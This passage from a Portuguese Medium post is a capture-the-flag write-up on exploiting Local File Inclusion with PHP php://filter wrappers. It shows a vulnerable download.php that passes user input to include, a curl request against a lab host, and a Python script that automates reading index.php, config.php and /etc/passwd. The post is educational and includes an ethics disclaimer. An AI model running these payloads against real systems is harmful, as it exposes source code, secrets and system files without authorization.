&quot;PD9waHAgCgokZmlsZSA9ICRfR0VUWydmaWQnXTsKJHR5cGUgPSBAZmlsZXR5cGUoJGZpbGUpOwpoZWFkZXIoJ0NvbnRlbnQtdHlwZTogJy4kdHlwZSk7CmhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJGZpbGUuJyInKTsKCmluY2x1ZGUgJGZpbGU7Cgo/Pg==&quot; | base64 -d</pre><p><strong>Código revelado:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*xYFcBAKIt6vuaHzOCvTndw.png" /><figcaption>Tivemos acesso a como o download.php funciona.</figcaption></figure><p>Também investigamos o arquivo principal da aplicação:</p><pre># Leitura do index.php<br>curl &quot;http://10.10.0.17/download.php?fid=php://filter/convert.base64-encode/resource=index.php&quot;</pre><p>Mesmo resultado, o index.php foi baixado com sucesso, decodamos o base64 e agora temos a flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*gMhGl-vCicnyfrCipg9qNA.png" /><figcaption>Aqui usei uma ferramenta online para analisar o codigo</figcaption></figure><p>Através da análise dos arquivos de código-fonte obtidos, conseguimos localizar a flag do desafio escondida em um dos arquivos PHP da aplicação.</p><h3>Lições Aprendidas do Caso Prático</h3><ol><li><strong>Reconhecimento é fundamental:</strong> A análise inicial da funcionalidade de upload revelou o vetor de ataque.</li><li><strong>Parâmetros de arquivo são alvos prioritários:</strong> Qualquer parâmetro que parece referenciar arquivos deve ser testado.</li><li><strong>PHP Wrappers expandem as possibilidades:</strong> Sem o php://filter, não conseguiríamos ver o código-fonte.</li><li><strong>Análise de código é crucial:</strong> A flag estava no próprio código da aplicação</li><li><strong>Metodologia estruturada é eficaz:</strong> Teste básico → Wrapper → Análise de código → Objetivo alcançado.</li></ol><h3>Script de Automação para Este Tipo de Teste</h3><pre>#!/usr/bin/env python3<br>import requests<br>import base64<br>import sys<br><br>def test_lfi_wrapper(url, param, target_file):<br>    &quot;&quot;&quot;Testa LFI com PHP Wrapper e decodifica resultado&quot;&quot;&quot;<br>    <br>    payload = f&quot;php://filter/convert.base64-encode/resource={target_file}&quot;<br>    full_url = f&quot;{url}?{param}={payload}&quot;<br>    <br>    try:<br>        response = requests.get(full_url)<br>        if response.status_code == 200:<br>            try:<br>                decoded = base64.b64decode(response.text).decode(&#39;utf-8&#39;)<br>                print(f&quot;[+] Sucesso ao ler {target_file}:&quot;)<br>                print(&quot;-&quot; * 50)<br>                print(decoded)<br>                print(&quot;-&quot; * 50)<br>                return True<br>            except:<br>                print(f&quot;[-] Conteúdo não está em base64 para {target_file}&quot;)<br>                return False<br>        else:<br>            print(f&quot;[-] Falhou ao acessar {target_file}&quot;)<br>            return False<br>    except Exception as e:<br>        print(f&quot;[-] Erro: {e}&quot;)<br>        return False<br># Uso do script<br>if __name__ == &quot;__main__&quot;:<br>    base_url = &quot;http://10.10.0.17/download.php&quot;<br>    param = &quot;fid&quot;<br>    <br>    files_to_test = [<br>        &quot;download.php&quot;,<br>        &quot;index.php&quot;, <br>        &quot;config.php&quot;,<br>        &quot;../../../etc/passwd&quot;<br>    ]<br>    <br>    for file in files_to_test:<br>        test_lfi_wrapper(base_url, param, file)<br>        print()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*EUfq3mZAU8EV9kXmBxAOkw.png" /><figcaption>Script em execução</figcaption></figure><p>Este caso real demonstra como uma vulnerabilidade aparentemente simples pode levar ao comprometimento completo da aplicação quando explorada com as técnicas adequadas.</p><h3>Conclusão</h3><p>LFI com PHP Wrappers representa uma vulnerabilidade crítica que pode levar ao comprometimento completo de uma aplicação web. A combinação de diferentes wrappers oferece múltiplas vetores de ataque, desde a simples leitura de arquivos até a execução remota de código.</p><p>Para desenvolvedores, a prevenção passa por validação rigorosa de entrada, sanitização adequada e configuração segura do ambiente PHP. Para profissionais de segurança, o entendimento profundo dessa vulnerabilidade é essencial para realizar testes efetivos e propor soluções robustas.</p><p>Lembre-se sempre: o conhecimento dessas técnicas deve ser usado apenas em ambientes autorizados e para fins legítimos de segurança.</p><p><strong>Sobre Segurança Ética:</strong> Este conteúdo tem fins puramente educacionais. Sempre obtenha autorização explícita antes de testar vulnerabilidades em sistemas que não sejam seus. O uso inadequado dessas informações pode constituir crime em muitas jurisdições.</p><h3>Referências e Leitura Adicional</h3><ul><li><a href="https://owasp.org/www-community/attacks/Path_Traversal">OWASP — Path Traversal</a></li><li><a href="https://www.php.net/manual/en/wrappers.php">PHP Manual — Supported Protocols and Wrappers</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger Web Security Academy</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f12e20aacd1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>